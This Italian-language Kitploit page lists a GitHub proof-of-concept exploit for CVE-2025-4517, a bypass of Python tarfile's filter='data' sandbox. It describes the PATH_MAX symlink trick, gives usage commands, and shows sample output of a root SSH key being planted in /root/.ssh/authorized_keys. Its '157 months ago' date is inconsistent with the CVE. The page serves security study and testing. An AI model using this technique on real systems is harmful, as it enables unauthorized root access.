Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-4517-Python-tarfile-filter-data-Bypass-PoC — Proof-of-concept exploit per CVE-2025-4517, una vulnerabilità di path traversal nella sandbox `filter='data'` del modulo tarfile di Python, che consente scritture arbitrarie di file al di fuori della directory di estrazione tramite catene di symlink appositamente create. | Kitploit
Strumenti/GitHubGitHub/estebanzarate/cve-2025-4517-python-tarfile-filter-data-bypass-poc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingRed TeamingSviluppo Payload
GitHubestebanzarate/cve-2025-4517-python-tarfile-filter-data-bypass-poc

CVE-2025-4517-Python-tarfile-filter-data-Bypass-PoC

Proof-of-concept exploit per CVE-2025-4517, una vulnerabilità di path traversal nella sandbox `filter='data'` del modulo tarfile di Python, che consente scritture arbitrarie di file al di fuori della directory di estrazione tramite catene di symlink appositamente create.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
157 mesi faNon ancora revisionato

CVE-2025-4517 — Bypass del filtro "data" di Python tarfile (PoC)

Vulnerabilità di path traversal nel modulo tarfile di Python, che interessa le versioni dalla 3.8.0 alla 3.13.1. La sandbox filter="data" — pensata per prevenire estrazioni non sicure — può essere bypassata creando percorsi che superano PATH_MAX (4096 byte), facendo sì che os.path.realpath() smetta silenziosamente di risolvere i symlink. Il controllo di sicurezza vede un percorso apparentemente sicuro mentre il kernel risolve quello reale, consentendo scritture al di fuori della directory di estrazione. Questo PoC sfrutta il bypass per scrivere una chiave pubblica SSH in /root/.ssh/authorized_keys.


Come funziona

  1. Costruisce un tar malevolo con directory profondamente annidate (nomi di 247 caratteri) che spingono i percorsi dei symlink oltre PATH_MAX.
  2. filter="data" chiama os.path.realpath() per validare ogni percorso — ma a PATH_MAX smette di risolvere e vede il percorso come ancora all'interno della directory di staging. Il controllo passa.
  3. Il kernel risolve correttamente il percorso completo durante l'estrazione, fuoriuscendo dalla sandbox.
  4. Un file normale viene scritto attraverso la catena di symlink aggirati, finendo in /root/.ssh/authorized_keys.
  5. L'accesso SSH come root viene verificato con la chiave iniettata.

Requisiti

  • Python 3
  • ssh-keygen disponibile (o fornisci la tua chiave pubblica con -k)
  • Accesso in scrittura alla directory di backup usata dallo script vulnerabile
  • Diritti sudo per attivare l'estrazione vulnerabile

Uso

# Generate a new keypair automatically
python3 exploit.py

# Use an existing public key
python3 exploit.py -k ~/.ssh/id_ed25519.pub

Esempio:

$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================

[?] Open root shell now? (y/n):

Riferimenti

  • CVE-2025-4517
  • Documentazione di Python tarfile — filtri di estrazione
  • Avviso di sicurezza Python

Crediti

  • Scoperta: Python Security Response Team
  • Pulizia e semplificazione: Esteban Zárate
Scarica lo strumento